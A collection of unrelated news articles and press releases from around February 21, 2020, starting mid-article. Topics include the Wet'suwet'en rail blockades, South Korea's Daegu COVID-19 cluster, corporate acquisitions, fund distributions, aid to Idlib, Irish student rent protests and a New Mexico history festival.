northern British Columbia had failed. He said it was now on Indigenous leaders to persuade protesters to dismantle barricades because court injunctions in Ontario and Quebec must be enforced. We cant have dialogue when only one party is coming to the table, Trudeau said at the National Press Theatre on Parliament Hill. Everyone involved is worried. Canadians have been patient. Our government has been patient. But it has been two weeks and the barricades need to come down now. As Trudeau spoke, police in Saint-Lambert moved toward the site of a rail blockade south of Montreal, ready to enforce an injunction the province had obtained the night before to stop protesters from blocking commuter traffic in and out of Montreal and to the provincial capital. Within an hour, Wetsuweten hereditary chiefs reacted with defiance. Four B.C. hereditary chiefs who had travelled to Quebec and Ontario held a news conference along with their Mohawk hosts on Tyendinaga nation near the Belleville protest that halted CN freight and Via Rail trains for 16 days. Wetsuweten hereditary chief Woos, also known as Frank Alec, rejected Trudeaus reference to Canadians impacted by the blockades, arguing that mere inconvenience cannot be compared to the devastation of colonialism and the invasion of his nations territory by RCMP officers earlier this month. Police arrested 28 demonstrators to clear a logging road to give TC Energy access to a work site for the Coastal GasLink pipeline, which is already under construction in some areas. Woos insisted leaders of his nation are ready to meet with federal and provincial ministers but only if their demands which Trudeau characterized as a series of shifting requests are met. Woos said the RCMPs offer to pull back a detachment on a logging road where activists were arrested this month is not enough; they need to stop patrolling in the area. Out means out, Woos said. The chief said the hereditary leadership also wants the company to suspend all pipeline activities so that nation-to-nation talks about Wetsuweten land rights can go forward. As of Friday evening, there was no indication from the Tyendinaga activists blocking the rail line near Belleville that they are ready to stand down. Trudeau said police in Ontario where the OPP has jurisdiction over Belleville protests and in B.C. and Quebec will make their own operational decisions about how to enforce court orders. He insisted he was not directing police to act but knew the RCMP had been monitoring the governments efforts at a negotiated resolution. Trudeau said the Mounties independently agreed to meet a key demand of the Wetsuweten opponents to a natural gas pipeline and decided to move a command post away from a logging road at the centre of Wetsuweten efforts to block the $6 billion Coastal GasLink project. But Trudeau said even that had not unlocked the end to the barricades. Trudeau told reporters he hoped any further police action would not end in tragedy as the 1990 Oka and 1995 Ipperwash crises had but acknowledged violence was a possibility hed feared. He said that is why his government waited more than two weeks before giving up on talks. His government remains open if the Wetsuweten or Mohawks request to meet, Trudeau said, but he appealed to Indigenous leaders to take responsibility for dismantling the barricades within 24 hours. I am hopeful that Indigenous leadership over the coming hours and day will see that in order to continue on this peaceful and important path, those barricades need to come down. Inaction by Indigenous leaders, said Trudeau, risks a backlash among the broader Canadian public and growing opposition to any government effort at reconciliation. We have exhausted our capacity to engage in a positive, substantive, active way at our initiative to resolve this. The onus has now shifted onto Indigenous leadership to look to continue this path of reconciliation in this situation, Trudeau said. Mohawk activist Kanenhariyo also known as Seth LeFort said the two Indigenous groups, Wetsuweten and Mohawk, have agreed that blockades on Mohawk territory wont come down until the RCMP withdraws from Wetsuweten territory to the satisfaction of the B.C. hereditary chiefs. We will allow trains to pass through our territory once the RCMP have been removed from the Wetsuweten territory and it is confirmed by the chiefs, Kanenhariyo said, clarifying that their demand only applies to the RCMP and not construction activity for the Coastal GasLink. He added that they would then discuss an exit strategy with Indigenous Services Minister Marc Miller for dismantling their protest camp at Tyendinaga. But in Quebec, patience had worn thin. Legault told reporters he expected police to do their job. He distinguished protests in Saint-Lambert from protests on land that Indigenous people claim as their territory. Its important for people to understand the law has to be respected, he said. I expect the dismantling to happen very soon, but its for police. I dont want to be the one to say to the police, do this, when to do that. Legault said he believed the Mohawk protest would end once the B.C. dispute at the heart of the matter was resolved. Its a problem that is more under the responsibility of Justin Trudeau. By Friday evening the Ontario Provincial Police had not moved to take any direct action to enforce an injunction CN obtained two weeks ago. Our main goal still is preserving the peace and maintaining a safe environment for everyone, OPP spokesperson Bill Dickson told the Star. Ontario Premier Doug Ford has been careful in his public comments to date about the stoppage, but on Friday he put responsibility for the crisis at Trudeaus feet. The prime minister needs to step up and take responsibility. Enough is enough. The illegal blockades must come down. This is a national emergency and innocent people from coast to coast are being hurt. The federal government must co-ordinate action to take down these illegal blockades across the country. For several days, the federal government has been offering to send Crown-Indigenous Relations Minister Carolyn Bennett to meet with Wetsuweten hereditary chiefs about their opposition to the Coastal GasLink pipeline. But the Trudeau and B.C. governments did not even receive a formal reply to their offers, although conversations via phone, email and text had continued. But political pressure inside and outside the Commons mounted on Trudeau as the economic toll mounted. On Friday, federal Conservative Leader Andrew Scheer blamed Trudeau for the mess, saying that he had shown phoney resolve in his news conference. The countrys premiers spoke on Wednesday, and on Thursday, Trudeau heeded their call for a teleconference to discuss the crisis. He convened a call of the 13 first ministers, many of whom detected a hardening of tone and language from the prime minister. They left him to issue a summary of the call. Provincial government officials speaking on background portrayed it as frustrating and quite unproductive. An Ontario official said Trudeau had reassured the premiers he was going to find a solution, but we didnt end up feeling any more assured. The source said he premiers were looking for federal leadership. Belleville is at a breaking point, said the official. Legault was the premier who argued most strenuously for a timeline for action, the sources said, with Ford echoing similar concerns. Stewart Phillip, the Grand Chief of the B.C. Union of Indian Chiefs, said by phone Friday night that the federal government is failing to prevent a tense situation from becoming more dangerous. If Trudeau was serious about his stated desire to resolve the blockades, he would travel to Wetsuweten territory to meet directly with the hereditary chiefs, Phillip said. Were left with a situation that is escalating on an hourly and daily basis right across the country. With files from Rob Ferguson, Queens Park Bureau Read more about: Bengaluru, Feb 21 : Global software major Wipro's digital arm on Friday said it acquired US-based Rational Interaction to enhance its customer experience offerings. "The acquisition will scale our digital offerings to chief marketing officers, connecting Rational's ability to map the customer journey with our ability to design and build experiences at global scale," Wipro Digital said in a statement. According to the firm, a single marketing effort cannot generate long-term revenue, as such a development requires an ecosystem of connected touch points and the new acquisition will enable companies to create customer experience programme with strategic advice and customer lifecycle management. "Expertise in digital marketing and experience management complements our capabilities across digital engineering, architecture and design," said Wipro Digital's head Rajan Kohli said. To discover, refine and optimise customer experience, Kohli said a company needs talent, marketing technologies and methodologies demonstrating scale. He said the end-customer in every industry, including the hi-tech industry is being redefined, requiring a customer and channel partner reimagination. Founded in 2009, Rational Interaction is headquartered in Washington state with 300 employees and offices in Seattle, Bellvue, Dublin and Sydney. Started by women, it is one of Washington state's 100 large privately-held companies. "Wipro's global presence and partnerships with industry leaders provides an opportunity to scale Rational's customer experience offerings, building on our success in developing and launching brand-defining campaigns," said Rational's Chief Executive Kahly Berg. Rational will grow and service its clients, with no plans to reduce its staff, as it integrates with Wipro Digital, the company said. Pennridge to vote on one textbook; further review on other one Workers from a disinfection service company sanitize a branch of the Shincheonji Church of Jesus the Temple of the Tabernacle of the Testimony where a woman known as "Patient 31" attended a service in Daegu Reuters The number of coronavirus patients in South Korea has jumped to 104 as of Thursday, and one person has died, as two large clusters of cases have been exposed. A 61-year-old woman, who is a member of the Temple of the Tabernacle of the Testimony, is believed to be a "super-spreader" that may have infected at least 43 people. A branch of the controversial Shincheonji Church of Jesus, the Temple is viewed by many as a cult or fringe religious sect, though church leaders deny the accusations of being the "main culprit" in South Korea's coronavirus outbreak. Fifteen people have also been diagnosed at a hospital in Cheongdo County, where a 63-year-old longtime patient marked South Korea's first coronavirus death. However, what's particularly worrisome is that cases have emerged among people who have been in a locked psychiatric ward. Calling this an "unprecedented crisis," Daegu Mayor Kwon Young-jin has urged churchgoers to stay indoors, while shutting down kindergartens, malls, restaurants, and other public spaces. Visit Business Insider's homepage for more stories. A South Korean city has gone on the offensive after two clusters of coronavirus cases, which have been traced to doomsday cult church and a hospital nearly tripled the number of patients in the country. The Korea Centers for Disease Control and Prevention (KCDC) said on Thursday that 53 additional patients have tested positive for COVID-19. The day before, 20 new cases had been reported. There are now 104 coronavirus patients and one fatality in South Korea. This uptick mostly comes from 43 members of the Temple of the Tabernacle of the Testimony, a fringe religious faction in the city of Daegu, and 15 people at a hospital in Cheongdo County. The country's first coronavirus death also occurred at this hospital, according to The Washington Post. The church at the center of this outbreak is part of the Shincheonji Church of Jesus, which was established in 1984 by Lee Man-hee and counts about 200,000 South Koreans among its ranks. Lee claims to have taken on the mantle of Jesus Christ and purports to have the ability to save 144,000 people on Judgment Day by taking them to heaven with him, the Guardian said. Story continues "Most believers accept this large cluster of cases occurring at the church as a test of their belief," Park Hyung-tak, who leads the Korea Christian Heresy Research Institute, told the South China Morning Post about the group that views itself as "chosen" and "favored by God." Patient 31 triggers a 'super-spreader' event A 61-year-old churchgoer was diagnosed with the coronavirus on Tuesday, prompting health officials to ask the church's thousand other followers to put themselves in quarantine. So far, South Koreans who tested positive for the illness had either traveled to mainland China or been in contact with someone who had. It remains unknown how the woman, who has been dubbed Patient 31, contracted COVID-19, Reuters reported. However, since the number of coronavirus patients has jumped since she became ill, with many coming from the "same Korean cult," this is being considered as a "super-spreader" event, the KCDC said to the South China Morning Post in a press release. Followers have been asked "to stay at home isolated from their families," Daegu Mayor Kwon Young-jin said, while Jung Eun-kyeong, director of the KCDC, urged people who visited both the church and the hospital report any symptoms to officials. Shincheonji say it's been wrongly accused both as a "cult" and the "main culprit" of this outbreak The church has shut its facilities across South Korea and encouraged churchgoers to partake in online prayer sessions in response to the outbreak, the South China Morning Post said. It also released a statement on Thursday, decrying the barrage of criticism and defended itself against being cast as "the main culprit of coronavirus transmissions," blaming those who have deemed it a "cult" for the wrongful accusations, the Washington Post said. Pastor Shin Hyun-uk, an anti-Temple campaigner, is not mollified. He is worried that more cases may be linked to the Temple of the Tabernacle of the Testimony, because of its so-called "study rooms" where believers are taught the church's evangelical ways. "Their so-called 'harvesters' go to other Christian churches, take part in prayer sessions there and engage in other activities in order to woo away ordinary believers," he told the South China Morning Post. "I doubt whether the church would come clean about the movements of its believers who were with the 31st patient and cooperate with authorities in tracing contacts for fear that it would reveal their secret evangelistic activities. This is really a worrisome situation." Churchgoers were asked to 'remove face masks while attending prayer sessions' The South Korean newspaper NoCut News was able to interview a church believer, who shared that Patient 31 was in close proximity with other churchgoers during prayer services on February 9 and 16, both of which are being investigated by authorities. There is an 8-story Daegu building that houses the temple. In it, married women convene on the fourth floor, married men on the seventh, and unwed men and women gather on the eighth floor, the unnamed source told NoCut News, which was reported by the South China Morning Post. At these prayers sessions, churchgoers sit close enough to each other that they can "rub their shoulders," while praising God "at the top of their [voices] for about 30 minutes, and listening to sermons for another hour. Afterward, people converse in small groups while married women organize potluck parties. People who donned face masks as a precaution against the coronavirus "were told to remove [them] while attending prayer sessions," the follower told NoCut News. Temple of the Tabernacle of the Testimony said in its statement to the South China Morning Post that its leaders have been urging believers since the end of January to stay home if they had traveled internationally or were feeling unwell. The KCDC is looking into a possible connection between the church and the hospital because officials say the 31st patient went to the hospital in early February. A 63-year-old man, who had been bedridden at the Cheongdo hospital for over two decades, died of coronavirus, Yonhap said. But people in a locked psychiatric ward have also contracted COVID-19, the South China Morning Post said, prompting all the hospital's patients and staff members to undergo testing. Life comes to a halt in Daegu, transforming it into a ghost town Daegu residents have been asked to stay home as officials brace for more cases, Kwon said, stressing, "We are in an unprecedented crisis." South Korea's Vice Health Minister Kim Kang-lip echoed the sentiment, saying "local transmission of the coronavirus" is already underway in multiple parts of the country, creating a "very grave" situation, Reuters reported. To try and control the spread of the coronavirus, extreme precautionary measures are being enforced at Kwon's orders. Streets in the usually busy city, which has an estimated population of 2.5 million people, have lost their hustle and bustle as kindergartens and public libraries have been closed, and shopping malls, restaurants, and movie theaters lie deserted, Yonhap reported. Schools have taken the unprecedented step of delaying the start of their spring semester, which usually kicks off in March. And a concert in which BTS and other K-pop stars were expected to perform at Daegu Stadium has been postponed from March 8, but it's unclear when the show will be rescheduled. South Korea's Defence Ministry has forbidden troops stationed in Daegu from welcoming guests and leaving their barracks. Similar restrictions are in place at a US military base in the city. "Daegu lockdown" and "Daegu church" were among the top searches on Naver, a popular South Korean internet portal, with people discussing whether the city should be placed on lockdown and shut off from the rest of the country similar to what Chinese officials did with Wuhan, the epicenter of the coronavirus outbreak. A KCDC official told Reuters that such a measure is not yet on the table. But people took to social media to document the deserted city. "It's like someone dropped a bomb in the middle of the city. It looks like a zombie apocalypse," Kim Geun-woo told Reuters. "Even Dongseong-ro Street the most crowded centre of the city is empty." Read the original article on Business Insider SIOUX CITY -- In advance of its 125th anniversary, the Crittenton Center on Thursday unveiled a goal to raise $250,000 in donations in 125 days. Local businesses have already contributed $17,000 to the campaign. Founded in the 1890s to help women and children faced with homelessness or other personal issues, the Crittenton Center offers childcare and preschool programs, a children's shelter, family education and support and life skills training, support and independent living programs. In a press release, the Crittenton Center reported that funding from government and grants, which comprise around 83 percent of the Center's budget, have been on the decline, necessitating philanthropy to continue its mission. Elizabeth Scholten, a mother, child welfare advocate, childhood abuse survivor and former Crittenton resident, spoke Thursday at an event held at the Betty Strong Encounter Center announcing the new fundraising campaign. Scholten, 32, was born prematurely in the back seat of a truck to a mentally impaired woman, after a failed abortion attempt. Her mother fell victim to a sex ring in Northwest Iowa. As a child, Elizabeth Scholten was mistreated the first several years of her life. In July 1990, police found her seriously injured in an alleyway after a rape, assault and stabbing. After several surgeries and psychotherapy, Scholten was eventually brought to the Crittenton Center's youth shelter, where a woman gained the young girl's trust by reading a Dr. Seuss book to her. "I knew then that I was loved. I knew then that I was safe. I knew then that I would never again have to advocate for myself alone," Scholten said. Because of the traumas in her life, social workers' expectations for her were not high. Scholten was later adopted, graduated from high school, married and obtained dual associate's degrees in social work and psychology. She and her husband have taken in foster children from the Crittenton Center. "The Crittenton Center was my first family," she said. Love 1 Funny 0 Wow 0 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Ben Darkwa, director and producer of Trending Crimes, strives to tell great stories regarding social issues around the world in his own way. The production company has decided to release the television series on Amazon prior to its New York premiere as a means of building more buzz ahead of its release. Ahead of the Amazon premiere, the television series will premiere on March 3, 2020 in the United Kingdom. Trending Crimes is a very dynamic television series, says record producer Charles Bailey. It is much needed in current times of diverse societal challenges. As the founder of the Dont Shoot project in schools, coupled with my London Metropolitan Police recruitment work, it is great to see an afro-Caribbean social-issues focused series. Its very uplifting. Darkwa Productions PR team has been promoting the new television series on social media since last fall. Trending Crimes has been a work in the making as it was filmed in Ghana by a London-based production company, which plans to screen a premiere in New York. The geographic diversity involved in the making of this series is international and all of those who have been involved in the process from start to finish have ensured that the premiere episodes will live up to the hype that has been raised over the last few months. In the new world of online streaming via Amazon, Hulu, Netflix, etc. television series have the opportunity to fit a variety of genres, yet the true crime niche is still overwhelming with countless options to watch. Trending Crimes is different as it is based on true events that have occurred in the lives of Darkwas friends and family in West Africa. The personable connection that Darkwa has to each scene allows the actors and audience to both empathize and possibly relate to the overall series. For more information visit the directors web site http://www.darkwaproductions.com or contact nicole@roosadvisors.com with any questions or concerns. About Ben Darka Productions Founded by Ben Darkwa, Darkwa Productions is the rebrand of UTRmedia. It is a full-service production company that believes it is a privilege to tell great stories about social issues around the world in the creators own way. Darkwa is a man of many trades with a background in Civil Engineering and experience as an Author. He holds an entrepreneurial spirit as he works as a film producer, director and actor for his production company. Services offered include equipment hire, studio hire, photoshoot and recording studio space, and post production assistance, specializing in audio and video for broadcast television, commercials, promotions, and digital media; as well as, other indoor and outdoor solutions for events and film making. A new report from the Center for American Progress finds that personalizationnot technologyis seen as the most important feature of good parent-school communication by key players in the public school community. CAP senior consultant Meg Benner and research associate Abby Quirk surveyed more than 900 parents who were broadly representative of the public school population, along with more than 400 teachers and more than 400 school leaders, to see what kinds of communication they used most often and preferred the most. All three groups said highly interpersonal interactions, like parent-teacher conferences, are what they most frequently rely on and value most as a means of communicating. High-tech methods of communication did not as a whole score more highly than low-tech ones, and the survey results do not suggest that systems relying on newer technology are used more or less than other systems, or that they are considered more or less valuable, according to the report. We thought there might be special interest in options that use technology because theyre newer, they offer potentially more options, but what we found was that the technological advancement, so to speak, of the communication method really wasnt that important, Quirk said. What we found was that the individualization was really important. Parent-teacher conferences scored highly, as did personalized emails and calls. Eighty-nine percent of parents, 85 percent of teachers, and 97 percent of school leaders said parent-teacher conferences were mostly or extremely valuable, according to the report. Social media, on the other hand, scored near the bottom, above only robocalls among the options on the survey. Only 58 percent of parents, 47 percent of teachers, and 67 percent of school leaders said social media was mostly or extremely valuable. Technologys Allure Matthew Kraft, a professor of education and economics at Brown University and a specialist in school-parent communication, said the expectation that high-tech methods would score highly might be attributable to the allure of certain kinds of technology, like mobile communication platforms. While communications platforms like these can potentially reach more people more quickly and cheaply than low-tech options and may even be individualized, theyre not always meaningfully interactive, Kraft said. A number of initiatives have been about one-way communication, where a student information system automatically texts or emails information about a students attendance or their grades or missing assignments to their parents, Kraft said. Thats individualizedits different for every kidbut its not a conversation. Its just a one-way push of information. Kraft added that providing teachers with adequate resources and time to communicate is in the long run the most effective way to improve parent engagement. The new technology is a platform. It doesnt necessarily change the nature of the communication. Still, the reports authors noted that the difference between the most- and least-used communication methods was not enough to entirely write off any specific method. A lot of the parents who use strategies that use a lot of technology found them very useful, and so I think what we took away from that is while as a whole individualized methods are critical to maintain, that doesnt lessen the value of some of the other strategies that use technology, Benner said, like social media. Its important to make sure its not either-or. The CAP researchers cited as an example the case of Sidney Lanier Senior High School in Mobile, Ala. The school has problems with student turnover, with a large portion of each class changing between and even during school years. The school has struggled in the past to keep parents engaged. In a context like this, social media can emerge as a useful communication method. It doesnt require a constantly changing pool of parents to frequently update their contact information, and many are already familiar with how to use the technology. By embracing a wide range of kinds of communication, Sidney Lanier has been able to improve parent communication and engagement in recent years. The key, Benner and Quirk stressed, is having multiple points of entry for parents: The more methods of communications available, the better. Among the other findings from the report, One Size Does Not Fit All: Analyzing Different Approaches to Family-School Communication : Parents, teachers, and school leaders overall report that they are satisfied with existing levels of communication. Three quarters agreed that communication was actionable, and more than half said the level of communication was just right, as opposed to too much or too little. Teachers felt the amount of communication in elementary, middle, and high school was just right, while district leaders were more likely to say the level of communication in middle and high school was too much. Parents, conversely, were more likely to say the level was too little in middle and high school. Parents perception of the quality of school communication did not vary significantly by race or ethnicity in the survey. The business community demonstrated its strong commitment to investing in the Great Lakes Bay Regions future during a $15.6 million fundraising campaign supporting a building expansion expected to benefit generations of Saginaw Valley State University business students and grow regional businesses. SVSU will host a dedication ceremony Monday, Feb. 24 for the $25.4 million, 38,500-square-foot addition to SVSUs Scott L. Carmona College of Business. The facility soon will be used by students and local business partners alike, providing them access to facilities and technology fit for Fortune 500 companies. The investment in the future offered by those resources inspired donations from alumni, friends of the university, local foundations and the business community for SVSUs First for Business campaign, helping the SVSU Foundation exceed its $15 million fundraising goal by $600,000. In total, 27 gifts topped $100,000. SVSU prides itself on serving as a resource for the region, and businesses are counting on us to develop both a deep talent pool of professionals as well as programs that can power those companies to success, said Don Bachand, SVSU president. The overwhelmingly positive response from our business community and donors shows their faith in SVSUs ability to deliver these resources. Our SVSU family is grateful for that faith, and we are excited to strengthen our partnerships with this new resource. The campaigns largest gift was offered by the Scott Carmona family. Carmona, an SVSU alumnus and owner of Bay City-based Sunrise National Distributors Inc., said the donation was a decision made by his family, including his wife, Nancy, and their two sons, Eric and Ryan. We are helping students achieve what they can achieve, Scott Carmona said. If they can achieve that with scholarships or a better facility or with more professors and we are in a position to help them do that then we are going to do that. If I can do my part to help, thats what Im going to do. Among the other business leaders who contributed to the campaign was Dick Garber, president of Garber Automotive Group. Garber said his contribution was inspired in part by the community-minded values that define SVSU business students. They come out with the understanding of the importance of people in industry today, and how important character is, which is a fundamental value of the university that coincides and complements what Garber is all about, he said. They are a big part of the future of our business. To have our local university expand their business school: that is going to be attractive to local businesses and attractive to businesses outside the area. We help the university, we help our community, we help ourselves. Kimberly Norris, vice president of administration at Saginaw-based Glastender Inc., served as co-chair of SVSUs First for Business campaign as well as chair of the SVSU Foundation Board of Directors. We have strong leadership in the Great Lakes Bay Region who pull together to support what is best for our community, said Norris, a two-time graduate of the university. SVSU has established a strong relationship with businesses in our community by demonstrating the desire to partner with us whether it be to provide qualified graduates for our job openings or serving as a resource to us through programs like the Stevens Center for Family Business. It is clear that SVSU has made a commitment to us, and in return, business leaders gladly supported the Scott L. Carmona College of Business expansion project. Along with the fundraising campaign, the building addition was supported by $9.8 million in funding from the State of Michigan. The expansion will create additional space to house the academic colleges classrooms, offices and business programs. The new space will include state-of-the-art technology such as analytics labs and Bloomberg Trading terminals, which tracks stock data in real time. Planners say the upgrades will provide students with technology used by Fortune 500 companies, deepen connections between the business community and the talent pool developed at the university, along with establishing a business degree from SVSU as an industry gold standard. The success of this campaign was an incredible team effort by our Foundation board and volunteers, said Andy Bethune, executive director of the SVSU Foundation. Our special thanks to campaign co-chairs Morrie Stevens Sr., Bill Zehnder and Kim Norris for their leadership. We could not have done this without them. TORONTO, Feb. 21, 2020 (GLOBE NEWSWIRE) -- (TSX: DGS, DGS.PR.A, GDV, LBS, LCS, SBC) Brompton Funds announces distributions payable on March 13, 2020 to class A shareholders of record at the close of business on February 28, 2020 for each of the following funds: Fund Name Ticker Amount Per Share Dividend Growth Split Corp. DGS $ 0.10 Global Dividend Growth Split Corp. GDV $ 0.10 Life & Banc Split Corp. LBS $ 0.10 Brompton Lifeco Split Corp. LCS $ 0.075 Brompton Split Banc Corp. SBC $ 0.10 Brompton Funds also announces distributions payable on March 13, 2020 to preferred shareholders of record at the close of business on February 28, 2020 for the following fund: Fund Name Ticker Amount Per Share Dividend Growth Split Corp. DGS.PR.A $ 0.1375 The funds noted above offer distribution reinvestment plans (DRIP) for class A shareholders which provide class A shareholders with the ability to automatically reinvest distributions, commission free, and realize the benefits of compound growth. Class A shareholders can enroll in a DRIP program by contacting their investment advisor. About Brompton Funds Founded in 2000, Brompton is an experienced investment fund manager with approximately $2 billion in assets under management. Bromptons investment solutions include TSX traded closed-end funds and exchange-traded funds. For further information, please contact your investment advisor, call Bromptons investor relations line at 416-642-6000 (toll-free at 1-866-642-6001), email info@bromptongroup.com or visit our website at www.bromptongroup.com . You will usually pay brokerage fees to your dealer if you purchase or sell shares or units of the investment funds on the Toronto Stock Exchange or other alternative Canadian trading system (an exchange). If the shares or units are purchased or sold on an exchange, investors may pay more than the current net asset value when buying shares or units of the investment fund and may receive less than the current net asset value when selling them. There are ongoing fees and expenses associated with owning shares or units of an investment fund. An investment fund must prepare disclosure documents that contain key information about the funds. You can find more detailed information about the funds in the public filings available at www.sedar.com. Investment funds are not guaranteed, their values change frequently and past performance may not be repeated. Certain statements contained in this document constitute forward-looking information within the meaning of Canadian securities laws. Forward-looking information may relate to matters disclosed in this document and to other matters identified in public filings relating to the funds, to the future outlook of the funds and anticipated events or results and may include statements regarding the future financial performance of the funds. In some cases, forward-looking information can be identified by terms such as may, will, should, expect, plan, anticipate, believe, intend, estimate, predict, potential, continue or other similar expressions concerning matters that are not historical facts. Actual results may vary from such forward-looking information. Investors should not place undue reliance on forward-looking statements. These forward-looking statements are made as of the date hereof and we assume no obligation to update or revise them to reflect new events or circumstances. United Nations, Feb 21 : With the continuing bombardments in Idlib and Aleppo, a massive aid operation from Turkey into northwest Syria was underway to assist civilians, a UN spokesman said. "The UN remains very alarmed about the safety and protection of over three million civilians in Idlib and its surrounding areas in northwestern Syria, as reports of airstrikes and shelling continue to take a heavy toll on the civilian population," Stephane Dujarric, spokesman for UN Secretary-General Antonio Guterres, said on Thursday. "There was no respite for families in Idlib and Aleppo in the last 24 hours." Dujarric said that at least 15 communities were reportedly hit by airstrikes, and 11 reportedly struck by shelling, reports Xinhua news agency. The aid operation saw 1,227 trucks of humanitarian assistance cross from Turkey through Bab al-Hawa and Bab al-Salam checkpoints last month compared to 928 trucks last December, he said. It is the largest amount of aid the UN has sent across the Syrian-Turkish border in any month since the operation was authorized in 2014. Nearly 900 of the trucks carried food assistance to help 1.4 million people, the spokesman said. Other trucks carried health supplies for almost 500,000 people and non-food items for more than 230,000 people. Meanwhile, Save the Children and UNICEF said that around 500,000 children had been forced to flee their homes since December to escape an offensive launched by Russian-backed Syrian regime forces in the region. STUDENTS UNIONS promised to protest until student accommodation hikes are reversed by universities. The National Union of Students in Ireland (USI) has confirmed to Independent.ie that campus protests will continue until next week. Students have taken to the streets in response to their respective universities raising campus accommodation rents for the coming academic year, 2020/2021. University College Dublin (UCD), NUI Galway (NUIG) and Dublin City University (DCU) are applying a 4pc rise and University of Limerick (UL) is implementing a 3.5pc-4pc rise. Maynooth University and University College Cork (UCC) are raising rents by 3pc. Last August, an Irish Independent survey revealed that all Irish universities had increased rents for the 2019/2020 academic year. Speaking this evening, USI President Lorna Fitzpatrick said that for a student, the increase in rent could affect their ability to buy dinner. This is not a flash in the pan issue for us, we will keep going on this until we get these increases reversed, she said. Its the difference between being able to attend college or return to college in September and its the difference between someone being able to eat dinner or not. According to Ms Fitzpatrick, delays in government formation are proving to be a challenge in finding a solution to higher level education under funding, which, according to universities, is the main reason for cost increases. While we have no government, its extremely difficult to talk about, or to find a solution on the overall funding issue. We will be focusing on all political parties to try and get this into the programme for government, she said. The union will lobby every political party and said that Sinn Fein TD Eoin OBroin has been the only politician to come out in support of students since the most recent price hikes. The USI met with the Deputy this evening in Leinster House to discuss the hikes. We spoke about the funding of third level because this seems to be the main reason for the increases from the universities side, said Ms Fitzpatrick. Anyone who is willing to engage with us, we will be willing to work with them in order to try and resolve this issue. Mr OBroin has written to all Irish universities urging them to re-consider the costs and will be meeting them in the coming weeks. Dermalogica Smooths Customer Experiences with 8x8 Skincare provider Dermalogica has stepped up efforts to deliver better, more personalized customer experiences for its customers across England and Ireland by partnering with 8x8. With the new partnership, the company will be upgrading with the 8x8 X Series and Contact Center feature. This new system will move the company into the modern world with cloud enabled communications capabilities. This includes the ability to better measure, analyze and make important improvements to their customer service. In addition to better customer service, employees and skin therapists will be empowered to collaborate across locations and even work remotely - something the company has been getting more and more requests for. We are delighted to be working with a household name like Dermalogica, said Samuel Wilson, chief customer officer and managing director of EMEA at 8x8. We know that delivering exceptional customer experience is vital for brands in 2020; with 8x8s powerful technology behind them, were looking forward to helping Dermalogica achieve this. In the contact center, managers will also now have tools necessary to measure quality of service and drill down to staff resourcing needs so they can schedule as needed and offer training. New chat features and self-service options will also provide customers with the ability to contact Dermalogica and get help in real-time. Commenting on the success of their partnership, Jonathan Gottler, IT service manager, UK & EU at Dermalogica, said, We started looking for a new communications partner, as we wanted to have the right tools to improve the customer experience. 8x8s rich features, in particular the speech analytics function, was the wow factor that made them an obvious choice. With analytics and reporting tools, well now be able to turn anecdotal data into evidence and use this to make real improvements to customer service. At the same time, being based in the cloud means we can offer remote and flexible working in a way we could never have done without 8x8. Please enable JavaScript to view the Edited by Maurice Nagle In accordance with announcement on November 13th 2019 Iceland Seafood International ("Iceland Seafood") is delighted to announce that it has now completed the acquisition of Elba Seafood ehf, the holding company of Elba S.L. in Spain. The acquisition of Elba Seafood ehf has now been completed in accordance with the Share Purchase Agreement which was signed in November 2019. Conditions are the same as previously announced in announcements from 7th and 13th of November. The acquisition price for 100% stake is 4,400,000 on a debt free cash free basis, with 50% of the payment settled with cash and the other 50% with new shares in Iceland Seafood, which will be issued and delivered to the sellers when 2019 audited accounts for Elba S.L. have been completed. Now, at closing, Iceland Seafood will take control of the company and its management. About Elba www.elba.es Elba S.L. is a strong seafood player in Spain, focusing on frozen light salted products. The company is based in Barcelona and operates a production facility with total sales volume of 2.200MT per year. Products are sold under the ElBa brand, which has a strong presence in the Spanish market and stands for quality seafood. According to unaudited numbers the turnover of the company in 2019 is 14.4m and the EBITDA for the year 430k. TwitterFacebookMore Bjarni Armannsson CEO of Iceland Seafood We look forward to continue development of Elba. Like stated in our former announcements Elba is a strong addition to our operation in Spain and enables us to further leverage our distribution and production capabilities in this important market for Icelandic Cod. We believe this move is beneficial for our shareholders, customers and suppliers. This acquisition is fully aligned with our strategy to focus on growth in our key markets where we have a strong platform and market position. At the same time it will be a pleasure to welcome GPG Seafood and Icemar to our shareholders group and we welcome the employees of Elba in Spain to the Iceland Seafood family. We look forward to the partnership. About Iceland Seafood International www.icelandseafood.com Tracing its roots to 1932, Iceland Seafood is a worldwide sales, processing and marketing company for frozen, salted and fresh seafood. Headquartered in Reykjavik with operations in eight countries with over 600 employees. Iceland Seafood is a publicly traded company with its shares listed on Nasdaq Iceland. The Group generates annual sales of 450m across 45 countries. Next Wednesday, at its headquarters at 08:30, Iceland Seafood hosts an investor meeting to present the results for Q4 2019 and the outlook for 2020. Investments, such as Elba, will also be addressed in more detail in the investor presentation. Further information: Iceland Seafood international Frederico Vigil spent years painstakingly bringing Mundos de Mestizaje to life. The monumental fresco inside the Torreon at the National Hispanic Cultural Center depicts thousands of years of Hispanic history, highlighting diverse cultural connections between people and places from the Iberian Peninsula to the Americas. The 4,000-square-foot mural is one of the largest frescos in North America. The first annual NHCC History Festival is aiming to educate visitors on the importance of the fresco. The event will take place Friday, Feb. 21, and Saturday, Feb. 22, at the NHCC. Valerie Martinez, director of history and literary arts at the NHCC, wanted to come up with something outside the box. Prev 1 of 4 Next With history, you either get it in school or in history conferences, she says. With my team, I said, Lets do something unusual and out of the box. Lets do a festival for all ages. Martinez says all festival events will be related to the fresco, allowing visitors to explore Hispanic/Latinx history through the cross-cultural, transnational, and multidisciplinary influences that have created the Hispanic world. Martinez says that on Friday, Feb. 21, a few invited elementary and middle schools will visit the NHCC to participate in the festival. At 6:30 p.m., there will be an evening wine reception with Vigil. Tickets for this event can be purchased at nhcchistoryfest.com. At 9 a.m. on Saturday, Feb. 22, the Mundos de Mestizaje high school art prize winners will be on display in the NHCC library hallway. There will also be a 20-minute guided tour at 9:30 a.m. and coffee and biscochitos in the Salon Ortega. From 10 a.m. to 1 p.m., there will be activities for children to join a rodeo with Blackout Theatre clowns inspired by horses in the fresco. Visitors can also rotate through interactive stations to experience the artistic process of creating Mundos de Mestizaje. The free day is designed for all ages, Martinez says. We often get requests to do talks on what it means to be Hispanic. To be Hispanic is as complex as the fresco. Its really complicated, and I think the festival is one way to continue the conversation. We want people to engage with every aspect of the 